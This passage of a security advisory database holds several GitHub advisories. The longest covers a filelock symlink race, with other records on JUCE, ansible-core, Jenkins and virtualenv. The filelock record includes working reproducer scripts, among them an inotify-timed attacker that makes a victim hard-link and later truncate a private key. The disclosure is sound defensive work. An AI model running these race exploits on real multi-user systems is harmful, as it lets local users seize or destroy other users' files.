below it, which no file-based lock can defend against. This finding is about what the lock itself adds inside such a directory, a hard link the other user cannot make on its own.\n\n## Affected code\n\nAt the scanned commit b831496, the restore branch of [`break_lock_file`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_util.py#L113-L122) runs for [`SoftFileLock._try_break_stale_lock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_soft.py#L107-L123), [`MarkerSoftFileLock`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_marker.py#L74-L81), [`SoftFileLease`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_lease.py#L229-L256) and the [`lifetime` break](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_api.py#L1576-L1588). The truncation in [`UnixFileLock._finalize_locked_fd`](https://github.com/tox-dev/filelock/blob/b831496b0273ecd11bf02b8d080ca8b673a538c1/src/filelock/_unix.py#L150-L154) is what a later native lock on the planted name did to the file (reported in its own advisory).\n\n## Introduced\n\nfc73fc51e137 (\"fix(soft): restore a live marker a stale break moved aside\", #786, 2026-10-08), first released in 4.1.0 (verified against the tags). Releases before 4.1.0 have no restore branch, so this does not affect them.\n\n## Mechanism\n\n```python\n# src/filelock/_util.py:115-122\nbreak_path: Final[str] = f\"{lock_file}.break.{os.getpid()}.{secrets.token_hex(16)}\"\nPath(lock_file).rename(break_path)\nif (st_after := os.lstat(break_path)).st_mtime \u003c= mtime_before and st_after.st_ino == ino_before:\n    Path(break_path).unlink()\nelif stat.S_ISREG(st_after.st_mode) and _HAS_LINK:  # pragma: needs hard-link\n    with suppress(FileExistsError):\n        os.link(break_path, lock_file)\n        Path(break_path).unlink()\n```\n\nThe `S_ISREG` test (is it a regular file) is about what `lstat` saw on line 117, not about what `link` resolves on line 121. The docstring says the code must not put a symbolic link back \"because `link` would follow a symlink to its target\", and the test at the scanned commit names the consequence (\"publish the victim file\u0027s inode at the lock path\"), but that test only covers a symbolic link that is already there when `lstat` runs. The 128-bit token stops others from guessing the break name, not from reading it. The name is in the directory listing from the moment the rename has happened. The package\u0027s other links pass `follow_symlinks=False` where the runtime honours it; this one does not. An `strace` (a tool that logs a process\u0027s system calls) on CPython 3.14.8 shows `os.link(a, b)` as `linkat(AT_FDCWD, a, AT_FDCWD, b, AT_SYMLINK_FOLLOW)`.\n\nThe other user plays both the stale holder and the \"successor\" the branch exists for:\n\n1. The other user leaves a genuine marker of a dead process at the lock path (a forked child takes the lock and `_exit`s). The lock user\u0027s `_try_break_stale_lock()` reads it and `owner_is_stale()` agrees, so `break_lock_file()` renames it to `app.lock.break.\u003cpid\u003e.\u003ctoken\u003e`. In a directory without the sticky bit the lock user may rename a file it does not own.\n2. The other user still owns that file and gives it a newer mtime (modification time) after the `lstat` on line 113. Line 117 then takes it for a recreated marker, and line 119 sees a regular file.\n3. The other user renames a symbolic link to the lock user\u0027s private file over the break name.\n4. Line 121 resolves the link with the lock user\u0027s credentials, so `app.lock` becomes a second hard link to the private file. Line 122 removes the symbolic link.\n\nThe other user\u0027s own `os.link()` on the private file fails with `EACCES` (it cannot enter the `0700` directory). On a file of the lock user it can reach, `fs.protected_hardlinks=1` answers `EPERM` (operation not permitted). The lock user would evict the odd \"marker\" after `MALFORMED_LOCK_AGE_THRESHOLD` (2 s), so the other user moves it to another name first, which the non-sticky directory allows. Both steps are races against a few lines of Python. There are about 40 \u00b5s between the `lstat` on line 113 and the one on line 117 (half of it the `rename`), and about 2 \u00b5s between line 117 and the `os.link()` call. inotify tells the other user when to act. A watch reports the lock user closing the marker after reading it, then the rename together with the break name. A bump that comes before line 113 costs nothing, since line 113 returns and the lock user looks again on its next poll.\n\n## Reproduction\n\nThe scanner\u0027s reproducer for finding `ANT-2026-SB29HIAL`, as received, ran against commit b831496b0273ecd11bf02b8d080ca8b673a538c1. The `repro` script drives the files under `repro.d/`.\n\n**`repro`**\n\n```python\n#!/usr/bin/env python3\nimport os\nimport shutil\nimport subprocess\nimport sys\n\nsys.stdout.reconfigure(line_buffering=True)\n\nSHARED_DIR = \"/tmp/shared-locks\"\nLOCK_PATH = SHARED_DIR + \"/app.lock\"\nPRIVATE_DIR = \"/home/victim/private\"\nKEY_PATH = PRIVATE_DIR + \"/signing.key\"\nAS_VICTIM = {\"user\": \"victim\", \"group\": \"victim\", \"extra_groups\": []}\nAS_ATTACKER = {\"user\": \"attacker\", \"group\": \"attacker\", \"extra_groups\": []}\n# strace alters no call. On calls that name the lock path it holds the victim 2 s after rename() and 2 s before\n# linkat(), that is on both sides of the lstat of the break name in break_lock_file() (src/filelock/_util.py:117).\nSLOWED_DOWN = [\"strace\", \"-o\", \"/dev/null\", \"-P\", LOCK_PATH, \"-e\", \"trace=rename,linkat\"]\nSLOWED_DOWN += [\"-e\", \"inject=rename:delay_exit=2000000\", \"-e\", \"inject=linkat:delay_enter=2000000\"]\n\n# set up: the victim\u0027s key in a 0700 directory, and a lock directory anyone can write, without the sticky bit\nshutil.rmtree(PRIVATE_DIR, ignore_errors=True)\nos.mkdir(PRIVATE_DIR, 0o700)\nwith open(KEY_PATH, \"w\") as key_file:\n    key_file.write(\"0123456789abcdef\\n\")\nos.chmod(KEY_PATH, 0o600)\nshutil.chown(PRIVATE_DIR, \"victim\", \"victim\")\nshutil.chown(KEY_PATH, \"victim\", \"victim\")\nshutil.rmtree(SHARED_DIR, ignore_errors=True)\nos.mkdir(SHARED_DIR)\nos.chmod(SHARED_DIR, 0o777)\nkey_before = os.stat(KEY_PATH)\nprint(f\"{KEY_PATH}: links={key_before.st_nlink} size={key_before.st_size}\")\nfor knob in (\"protected_hardlinks\", \"protected_symlinks\"):\n    print(f\"fs.{knob} =\", open(f\"/proc/sys/fs/{knob}\").read().strip())\n\n# control: the attacker cannot give the key a name in the shared directory by itself\nlink_by_attacker = f\"import os; os.link({KEY_PATH!r}, {SHARED_DIR + \u0027/by-attacker\u0027!r})\"\ncontrol = subprocess.run([sys.executable, \"-c\", link_by_attacker], capture_output=True, text=True, **AS_ATTACKER)\nprint(\"CONTROL the attacker\u0027s own link() of the key:\", control.stderr.strip().splitlines()[-1])\n\n# attack: the victim takes an ordinary SoftFileLock while the attacker works on the break name\nsubprocess.run([sys.executable, \"/tmp/repro.d/plant_stale_marker.py\", LOCK_PATH], check=True, **AS_ATTACKER)\nattacker = subprocess.Popen([sys.executable, \"/tmp/repro.d/swap_break_name.py\", LOCK_PATH, KEY_PATH], **AS_ATTACKER)\nvictim_job = [*SLOWED_DOWN, sys.executable, \"/tmp/repro.d/victim_job.py\", LOCK_PATH]\nsubprocess.run(victim_job, check=True, timeout=60, **AS_VICTIM)\nassert attacker.wait(timeout=30) == 0, \"the attacker did not get through its steps\"\n\n# check, as root: does the key now have a name in the shared directory?\nkey_after = os.stat(KEY_PATH)\nnames_of_the_key = [\n    name for name in os.listdir(SHARED_DIR) if os.path.samestat(key_after, os.lstat(f\"{SHARED_DIR}/{name}\"))\n]\nprint(f\"OBSERVED {KEY_PATH}: links={key_after.st_nlink}, names in {SHARED_DIR} with its inode: {names_of_the_key}\")\n\nif names_of_the_key:\n    # what that name is good for: another program of the victim takes a FileLock there, which truncates the file\n    shared_name = f\"{SHARED_DIR}/{names_of_the_key[0]}\"\n    victim_other_job = [sys.executable, \"/tmp/repro.d/victim_other_job.py\", shared_name]\n    subprocess.run(victim_other_job, check=True, timeout=60, **AS_VICTIM)\n    print(f\"OBSERVED {KEY_PATH}: size={os.stat(KEY_PATH).st_size} after the victim\u0027s FileLock({shared_name!r})\")\n\nprint(\"BUG\" if control.returncode != 0 and names_of_the_key else \"OK\")\n```\n\n**`repro.d/plant_stale_marker.py`**\n\n```python\nimport os\nimport sys\n\nfrom filelock import SoftFileLock\n\n# a genuine marker of a holder that died: a child takes the lock and exits without releasing it\nif (child := os.fork()) == 0:\n    holder = SoftFileLock(sys.argv[1])  # kept referenced: a collected lock releases itself\n    holder.acquire()\n    os._exit(0)\nos.waitpid(child, 0)\nprint(\"attacker: left\", sys.argv[1], \"held by pid\", child, \"which has exited\", flush=True)\n```\n\n**`repro.d/swap_break_name.py`**\n\n```python\nimport glob\nimport os\nimport sys\nimport time\n\nlock_path, key_path = sys.argv[1:]\nkept_path = os.path.join(os.path.dirname(lock_path), \"other.lock\")\n\n# the victim judged the marker stale and renamed it to \u003clock\u003e.break.\u003cpid\u003e.\u003crandom\u003e; anyone can list the directory\ndeadline = time.monotonic() + 30\nwhile not (break_paths := glob.glob(lock_path + \".break.*\")):\n    assert time.monotonic() \u003c deadline, \"the victim never moved the marker aside\"\n    time.sleep(0.01)\n[break_path] = break_paths\nprint(\"attacker: the victim renamed the marker to\", os.path.basename(break_path), flush=True)\n\n# still the attacker\u0027s file: a newer mtime makes the victim take it for a marker a live holder recreated, and restore it\nos.utime(break_path)\n\ntime.sleep(3)  # repro holds the victim 2 s before its lstat of the break name and 2 s more before its link\nos.symlink(key_path, lock_path + \".symlink\")\nos.rename(lock_path + \".symlink\", break_path)\nprint(\"attacker: replaced\", os.path.basename(break_path), \"with a symlink to\", key_path, flush=True)\n\n# the victim would evict what it linked at the lock path as a malformed marker after 2 s: keep it under another name\ndeadline = time.monotonic() + 5\nwhile not os.path.lexists(lock_path) and time.monotonic() \u003c deadline:\n    time.sleep(0.01)\ntry:\n    os.rename(lock_path, kept_path)\n    print(\"attacker: renamed\", os.path.basename(lock_path), \"to\", kept_path, flush=True)\nexcept FileNotFoundError:\n    print(\"attacker: the victim linked nothing at\", os.path.basename(lock_path), flush=True)\n```\n\n**`repro.d/unpaused_attacker.py`**\n\n```python\n#!/usr/bin/env python3\n\"\"\"Optional, not run by repro: the two steps of swap_break_name.py, timed by inotify against a victim that nobody pauses.\"\"\"\nimport ctypes\nimport os\nimport random\nimport struct\nimport sys\nimport time\n\nfrom filelock import SoftFileLock\n\nlock_path, victim_file, kept_name = sys.argv[1:]\nos.chdir(os.path.dirname(lock_path))\nlock_name = os.path.basename(lock_path).encode()\nIN_NONBLOCK, IN_CLOSE_NOWRITE, IN_MOVED_TO = 0o4000, 0x10, 0x80\n\n\ndef spin(microseconds):\n    until = time.perf_counter() + microseconds / 1e6\n    while time.perf_counter() \u003c until:\n        pass\n\n\n# The bytes of a genuine marker of a dead process.\nif os.fork() == 0:\n    crashed_holder = SoftFileLock(lock_path)\n    crashed_holder.acquire()\n    os._exit(0)\nos.wait()\nwith open(lock_name, \"rb\") as marker_file:\n    stale_marker = marker_file.read()\nos.unlink(lock_name)\n\nlibc = ctypes.CDLL(None)\ninotify = libc.inotify_init1(IN_NONBLOCK)\nlibc.inotify_add_watch(inotify, b\".\", IN_MOVED_TO)\nmarker_mtime = 1_000_000_000\nlock_cycles = 0\nwhile True:\n    lock_cycles += 1\n    os.symlink(victim_file, b\"symlink\")\n    marker = os.open(b\"staged\", os.O_CREAT | os.O_EXCL | os.O_WRONLY, 0o644)\n    os.write(marker, stale_marker)\n    os.utime(marker, (marker_mtime, marker_mtime))\n    marker_watch = libc.inotify_add_watch(inotify, b\"staged\", IN_CLOSE_NOWRITE)\n    while True:  # plant it as soon as the victim has released the lock\n        try:\n            os.link(b\"staged\", lock_name)\n            break\n        except FileExistsError:\n            pass\n    os.unlink(b\"staged\")\n\n    break_name = None\n    while break_name is None:\n        try:\n            events = os.read(inotify, 4096)\n        except BlockingIOError:\n            continue\n        while events and break_name is None:\n            _, mask, _, name_length = struct.unpack_from(\"iIII\", events)\n            name = events[16 : 16 + name_length].rstrip(b\"\\0\")\n            events = events[16 + name_length :]\n            if mask \u0026 IN_CLOSE_NOWRITE:\n                # The victim has read the marker and is about to judge it stale and lstat it again. A bump that comes\n                # before that lstat only makes the victim start over on its next poll.\n                spin(random.uniform(40, 100))\n                marker_mtime += 1\n                os.utime(marker, (marker_mtime, marker_mtime))\n            elif name.startswith(lock_name + b\".break.\"):\n                # The victim has renamed the marker and is about to lstat the break name and link it back.\n                os.rename(b\"symlink\", name)\n                break_name = name\n    libc.inotify_rm_watch(inotify, marker_watch)\n    os.close(marker)\n\n    time.sleep(0.001)\n    try:\n        at_lock_path = os.lstat(lock_name)\n        if at_lock_path.st_uid != os.getuid() and at_lock_path.st_nlink == 2:\n            os.rename(lock_name, kept_name)\n            print(f\"after {lock_cycles} lock cycles the victim linked its file here as {kept_name!r}:\", at_lock_path)\n            break\n    except FileNotFoundError:\n        pass\n    for leftover in (b\"symlink\", break_name):\n        if os.path.lexists(leftover):\n            os.unlink(leftover)\n    try:\n        os.read(inotify, 65536)\n    except BlockingIOError:\n        pass\n```\n\n**`repro.d/unpaused_victim.py`**\n\n```python\n#!/usr/bin/env python3\n\"\"\"Optional, not run by repro: a victim job that takes the SoftFileLock again and again, paused by nobody.\"\"\"\nimport sys\nimport time\n\nfrom filelock import SoftFileLock\n\nlock = SoftFileLock(sys.argv[1])\nwhile True:\n    with lock:\n        time.sleep(0.005)\n    time.sleep(0.005)\n```\n\n**`repro.d/victim_job.py`**\n\n```python\nimport sys\n\nfrom filelock import SoftFileLock\n\nwith SoftFileLock(sys.argv[1]):\n    print(\"victim: holds\", sys.argv[1], flush=True)\n```\n\n**`repro.d/victim_other_job.py`**\n\n```python\nimport sys\n\nfrom filelock import FileLock\n\nwith FileLock(sys.argv[1]):\n    print(\"victim: holds\", sys.argv[1], flush=True)\n```\n\n## Attack sequence\n\n```mermaid\nsequenceDiagram\n    participant X as other local user (uid 1001)\n    participant D as /tmp/shared-locks (0777, not sticky)\n    participant V as SoftFileLock of the lock user (uid 1000)\n    participant K as ~victim/private/signing.key (0600 in a 0700 dir)\n    X-\u003e\u003eD: child takes app.lock and _exit()s: dead-holder marker owned by X\n    V-\u003e\u003eD: read marker, owner_is_stale, lstat ok: rename app.lock to app.lock.break.*\n    rect rgb(255, 214, 214)\n        X-\u003e\u003eD: inotify sees the rename: utime the break file (newer mtime)\n        V-\u003e\u003eD: lstat break name: mtime newer, S_ISREG: treat as a recreated live marker\n        X-\u003e\u003eD: rename a symbolic link to signing.key over the break name\n        V-\u003e\u003eK: os.link(break name, app.lock) follows the symbolic link: app.lock is a second name of the file\n        X-\u003e\u003eD: rename app.lock to other.lock before the 2 s eviction\n        Note over V,K: the lock user\u0027s FileLock(\"other.lock\") on 4.2.0 truncates the file to 0 bytes\n    end\n```\n\n## Evidence\n\nThe scanner\u0027s reproducer takes about 5 s and is deterministic. Root creates `/home/victim/private` (`0700`) with `signing.key` (17 bytes, `0600`) and `/tmp/shared-locks` (`0777`, no sticky bit), with `fs.protected_hardlinks = 1` and `fs.protected_symlinks = 1`. In the control step, the `attacker` account runs `os.link(key, /tmp/shared-locks/by-attacker)` and gets `Permission denied`. Then the `attacker` child leaves `app.lock held by pid 253 which has exited`. The `victim` account runs `with SoftFileLock(path)` under `strace -P ... -e inject=rename:delay_exit=2000000 -e inject=linkat:delay_enter=2000000`, which holds it 2 s after its `rename()` and 2 s before its `linkat()` without changing any call. The `attacker` account bumps the break file, swaps in the symbolic link, and renames `app.lock` to `other.lock`.\n\nThe result line reads `signing.key: links=2, names in /tmp/shared-locks with its inode: [\u0027other.lock\u0027]`, and after the `victim` account\u0027s second program takes `FileLock(\u0027/tmp/shared-locks/other.lock\u0027)`, `size=0`. Verdict `BUG`. The unpaused variant (`unpaused_victim.py` looping on the lock, `unpaused_attacker.py` timing both steps with inotify) won 10 runs out of 10 on the 2-CPU image after 9 to 910 lock cycles (1 to 65 s); one run won after 128 cycles (8 s).\n\nOur review: BUG on 4.2.0 (triage), OK on the head of #843. On macOS 27.0.1 (CPython 3.13.16) a plain `os.link` of a symbolic link follows it (target `st_nlink` 2) while `follow_symlinks=False` links the symbolic link itself, which confirms the report\u0027s macOS note.\n\n## Impact\n\nA local user who can write a lock directory that has no sticky bit makes a user of a soft lock in that directory create a hard link there to one of that user\u0027s own files on the same filesystem, including files inside directories the other user cannot enter. The content stays unreadable, but the other user now reads size, times, mode and owner of the file through the new name, keeps the inode alive after the lock user deletes or rotates the file, and holds what `fs.protected_hardlinks` exists to deny, a name it can move around for someone else\u0027s file.\n\nWhatever the lock user later does to names in that directory lands on the file, and filelock 4.2.0 was such a consumer itself. `UnixFileLock._finalize_locked_fd()` ran `os.ftruncate(fd, 0)` on whatever regular file `O_NOFOLLOW` let it open. The other user moved the link to `other.lock`, the lock user took `FileLock(\"other.lock\")`, and the 17-byte private file became 0 bytes. The other user can also move the link into sticky `/tmp` on the same filesystem before the lock user locks it there, and a `FileLock` with a permissive `mode` such as `0o666` applied that mode to the private file too, after which the other user could write its content.\n\nOn its own, without such a second lock, the result is the link and the metadata above. The other user has to win two short races and needs the lock user to take the lock more than once. Not affected: sticky directories on the tested settings, CPython 3.11 on Linux, releases before 4.1.0.\n\n## Workarounds\n\nKeep soft locks out of directories other users can write without the sticky bit; a `0700` directory of the lock\u0027s user, or a sticky directory, is not affected. On CPython 3.11 on Linux the swap has no effect. Do not take a native `FileLock` on a name another user controls.\n\n## Patched version\n\n4.2.1.\n\nFix: https://github.com/tox-dev/filelock/pull/843\n\n## Credits\n\nReported by Anthropic\u0027s OSS Scanner (automated analysis), 15 October 2026; reviewed by the maintainers.\n\n- 2026-10-15 23:08 UTC: report received (finding `ANT-2026-SB29HIAL`, scanned commit b831496b0273; related earlier-public work: #786)\n- 2026-10-16 01:42 UTC: fix PR #843 opened\n- 2026-10-16 05:38 UTC: draft advisory created",
  "id": "GHSA-crv4-6mhj-j5jh",
  "modified": "2026-10-23T22:00:11Z",
  "published": "2026-10-23T22:00:11Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/tox-dev/filelock/security/advisories/GHSA-crv4-6mhj-j5jh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-112914"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tox-dev/filelock/pull/843"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tox-dev/filelock/commit/740ff666b62a88496c8d7394e4e6230605e4d62b"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/tox-dev/filelock"
    },
    {
      "type": "WEB",
      "url": "https://github.com/tox-dev/filelock/releases/tag/4.2.1"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:N/S:U/C:L/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "filelock: SoftFileLock stale-break restore follows a swapped-in symbolic link and hard-links a file of the user running the lock into the lock directory"
}

GHSA-CV9M-JW92-C3V3

Vulnerability from github – Published: 2022-02-08 00:00 – Updated: 2022-02-08 00:00
VLAI
Details

This affects the package juce-framework/JUCE before 6.1.5. This vulnerability is triggered when a malicious archive is crafted with an entry containing a symbolic link. When extracted, the symbolic link is followed outside of the target dir allowing writing arbitrary files on the target host. In some cases, this can allow an attacker to execute arbitrary code. The vulnerable code is in the ZipFile::uncompressEntry function in juce_ZipFile.cpp and is executed when the archive is extracted upon calling uncompressTo() on a ZipFile object.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-23521"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-01-31T11:15:00Z",
    "severity": "HIGH"
  },
  "details": "This affects the package juce-framework/JUCE before 6.1.5. This vulnerability is triggered when a malicious archive is crafted with an entry containing a symbolic link. When extracted, the symbolic link is followed outside of the target dir allowing writing arbitrary files on the target host. In some cases, this can allow an attacker to execute arbitrary code. The vulnerable code is in the ZipFile::uncompressEntry function in juce_ZipFile.cpp and is executed when the archive is extracted upon calling uncompressTo() on a ZipFile object.",
  "id": "GHSA-cv9m-jw92-c3v3",
  "modified": "2022-02-08T00:00:47Z",
  "published": "2022-02-08T00:00:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-23521"
    },
    {
      "type": "WEB",
      "url": "https://github.com/juce-framework/JUCE/commit/2e874e80cba0152201aff6a4d0dc407997d10a7f"
    },
    {
      "type": "WEB",
      "url": "https://snyk.io/vuln/SNYK-UNMANAGED-JUCEFRAMEWORKJUCE-2388608"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-CVJ4-GGF5-JG54

Vulnerability from github – Published: 2026-11-06 06:30 – Updated: 2026-11-06 06:30
VLAI
Details

A flaw was found in the ansible-core user module. When generate_ssh_key is enabled, User.ssh_key_gen() guards the key files against symlinks but checks the ~/.ssh directory only with os.path.exists(). An unprivileged user on a managed node who replaces their ~/.ssh with a symlink to an existing root-writable directory causes the privileged module to write the generated key pair through the symlink and then chown both files to that user. Because such files can be dropped into directories processed by schedulers (e.g. /etc/cron.daily) or dynamic MOTD (/etc/update-motd.d), the user can escalate to root on the managed node. This is an incomplete fix of CVE-2024-9902.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2026-123037"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-11-06T06:16:42Z",
    "severity": "MODERATE"
  },
  "details": "A flaw was found in the ansible-core user module. When generate_ssh_key is enabled, User.ssh_key_gen() guards the key files against symlinks but checks the ~/.ssh directory only with os.path.exists(). An unprivileged user on a managed node who replaces their ~/.ssh with a symlink to an existing root-writable directory causes the privileged module to write the generated key pair through the symlink and then chown both files to that user. Because such files can be dropped into directories processed by schedulers (e.g. /etc/cron.daily) or dynamic MOTD (/etc/update-motd.d), the user can escalate to root on the managed node. This is an incomplete fix of CVE-2024-9902.",
  "id": "GHSA-cvj4-ggf5-jg54",
  "modified": "2026-11-06T06:30:23Z",
  "published": "2026-11-06T06:30:23Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-123037"
    },
    {
      "type": "WEB",
      "url": "https://access.redhat.com/security/cve/CVE-2026-123037"
    },
    {
      "type": "WEB",
      "url": "https://bugzilla.redhat.com/show_bug.cgi?id=2567189"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:H/PR:L/UI:R/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-CVVM-4CR9-R436

Vulnerability from github – Published: 2022-05-24 19:19 – Updated: 2022-12-16 20:42
VLAI
Summary
Multiple vulnerabilities allow bypassing path filtering of agent-to-controller access control in Jenkins
Details

The agent-to-controller security subsystem limits which files on the Jenkins controller can be accessed by agent processes.

Multiple vulnerabilities in the file path filtering implementation of Jenkins 2.318 and earlier, LTS 2.303.2 and earlier allow agent processes to read and write arbitrary files on the Jenkins controller file system, and obtain some information about Jenkins controller file systems.

SECURITY-2542 / CVE-2021-21695: FilePath#listFiles lists files outside directories with agent read access when following symbolic links.

We expect that most of these vulnerabilities have been present since SECURITY-144 was addressed in the 2014-10-30 security advisory.

Jenkins 2.319, LTS 2.303.3 addresses these security vulnerabilities.

SECURITY-2542 / CVE-2021-21695: FilePath#listFiles checks stat permission on files it returns, preventing listing files outside allowed directories.

As some common operations are now newly subject to access control, it is expected that plugins sending commands from agents to the controller may start failing. Additionally, the newly introduced path canonicalization means that instances using a custom builds directory (Java system property jenkins.model.Jenkins.buildsDir) or partitioning JENKINS_HOME using symbolic links may fail access control checks. See the documentation for how to customize the configuration in case of problems.

If you are unable to immediately upgrade to Jenkins 2.319, LTS 2.303.3, you can install the Remoting Security Workaround Plugin. It will prevent all agent-to-controller file access using FilePath APIs. Because it is more restrictive than Jenkins 2.319, LTS 2.303.3, more plugins are incompatible with it. Make sure to read the plugin documentation before installing it.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.jenkins-ci.main:jenkins-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.303.3"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "database_specific": {
        "last_known_affected_version_range": "\u003c= 2.318"
      },
      "package": {
        "ecosystem": "Maven",
        "name": "org.jenkins-ci.main:jenkins-core"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "2.304"
            },
            {
              "fixed": "2.319"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2021-21695"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-59",
      "CWE-862"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-06-23T06:47:14Z",
    "nvd_published_at": "2021-11-04T17:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "The agent-to-controller security subsystem limits which files on the Jenkins controller can be accessed by agent processes.\n\nMultiple vulnerabilities in the file path filtering implementation of Jenkins 2.318 and earlier, LTS 2.303.2 and earlier allow agent processes to read and write arbitrary files on the Jenkins controller file system, and obtain some information about Jenkins controller file systems.\n\nSECURITY-2542 / CVE-2021-21695: `FilePath#listFiles` lists files outside directories with agent read access when following symbolic links.\n\nWe expect that most of these vulnerabilities have been present since [SECURITY-144 was addressed in the 2014-10-30 security advisory](https://www.jenkins.io/security/advisory/2014-10-30/).\n\nJenkins 2.319, LTS 2.303.3 addresses these security vulnerabilities.\n\nSECURITY-2542 / CVE-2021-21695: `FilePath#listFiles` checks `stat` permission on files it returns, preventing listing files outside allowed directories.\n\nAs some common operations are now newly subject to access control, it is expected that plugins sending commands from agents to the controller may start failing. Additionally, the newly introduced path canonicalization means that instances using a custom builds directory ([Java system property jenkins.model.Jenkins.buildsDir](https://www.jenkins.io/doc/book/managing/system-properties/#jenkins-model-jenkins-buildsdir)) or partitioning `JENKINS_HOME` using symbolic links may fail access control checks. See [the documentation](https://www.jenkins.io/doc/book/security/controller-isolation/agent-to-controller/#file-access-rules) for how to customize the configuration in case of problems.\n\nIf you are unable to immediately upgrade to Jenkins 2.319, LTS 2.303.3, you can install the [Remoting Security Workaround Plugin](https://www.jenkins.io/redirect/remoting-security-workaround/). It will prevent all agent-to-controller file access using `FilePath` APIs. Because it is more restrictive than Jenkins 2.319, LTS 2.303.3, more plugins are incompatible with it. Make sure to read the plugin documentation before installing it.",
  "id": "GHSA-cvvm-4cr9-r436",
  "modified": "2022-12-16T20:42:26Z",
  "published": "2022-05-24T19:19:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21695"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jenkinsci/jenkins/commit/63cde2daadc705edf086f2213b48c8c547f98358"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jenkinsci/jenkins"
    },
    {
      "type": "WEB",
      "url": "https://www.jenkins.io/security/advisory/2021-11-04/#SECURITY-2455"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2021/11/04/3"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:C/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Multiple vulnerabilities allow bypassing path filtering of agent-to-controller access control in Jenkins"
}

GHSA-CW65-GX24-RC82

Vulnerability from github – Published: 2026-10-21 21:35 – Updated: 2026-10-21 21:35
VLAI
Summary
virtualenv: Builtin creation follows linked environment directories
Details

Summary

The builtin creator accepts existing directory symlinks through ensure_dir() and writes environment files through those directories. This permits writes outside the requested destination.

Anthropic's OSS Scanner reported this as ANT-2026-MUFJEG11 in virtualenv-20261015-005, received on 15 October 2026.

Affected area

Directory preparation before environment files are created.

Attacker-controlled input

Another account must be able to prepare linked entries below the chosen destination before creation. The invoking user must have access to the linked destination. This does not require write access to the target itself under the other account.

Affected code

The relevant 21.14.8 source is in builtin creator, ensure_dir().

Mechanism

The builtin creator calls ensure_dir() for bin, lib, and package directories. ensure_dir() accepts an existing symlink to a directory because exists() follows it. Interpreter creation, seed installation, and activation-script generation then write through that parent link. A final-file check cannot prevent a write through a linked parent. --clear removes the planted tree first; ordinary creation over a prepared destination reaches it.

Reproduction and evidence

The scanner's project tree contains venv/bin -> ../../.local/bin and a .pth file in the environment's package tree. With the user's initially empty ~/.local/bin first on PATH, virtualenv venv exited successfully and wrote python*, pip*, and activate* into ~/.local/bin. The marker was absent immediately after creation; a later pip --version on the user's PATH loaded the seeded environment and the planted .pth code wrote the marker. A second case began with the bin link resolving inside the environment; replacement of a planted package link during seeding changed where it resolved, and writes again reached ~/.local/bin.

The attacker must prepare entries in an existing destination. The .pth content is already attacker-controlled and would run if the user used that environment directly; the added effect is creation-time writing or replacement outside the requested tree and an executable on the user's PATH pointing at it. The scanner traces this default builtin path to 20.0.0b1. PR #3429 replaces linked directory components before creation. Concurrent parent replacement remains a separate case.

Attack sequence

sequenceDiagram
    participant A as Prepared destination
    participant V as Builtin creator
    participant L as venv/bin symlink
    participant H as ~/.local/bin
    participant U as User
    A->>L: point to ../../.local/bin
    V->>L: ensure_dir accepts existing directory link
    V->>H: write python, pip and activate files through link
    V-->>U: creation reports success
    U->>H: run pip found on PATH
    H->>A: interpreter loads planted .pth
    A-->>U: marker created

Reproducer files

The following files are from the scanner report for ANT-2026-MUFJEG11. They were tested against commit a857a7823c73 in the scanner image. The repro entrypoint expects companion files under /tmp/repro.d; cases that change user IDs need a disposable root-capable container. The last output line is BUG when the reported behavior occurs. These files are included as evidence and were not rerun for this advisory update.

repro

#!/usr/bin/env python3
import os
import shutil
import subprocess
import sys
from pathlib import Path

WORK = Path("/tmp/planted-bin-link")
shutil.rmtree(WORK, ignore_errors=True)


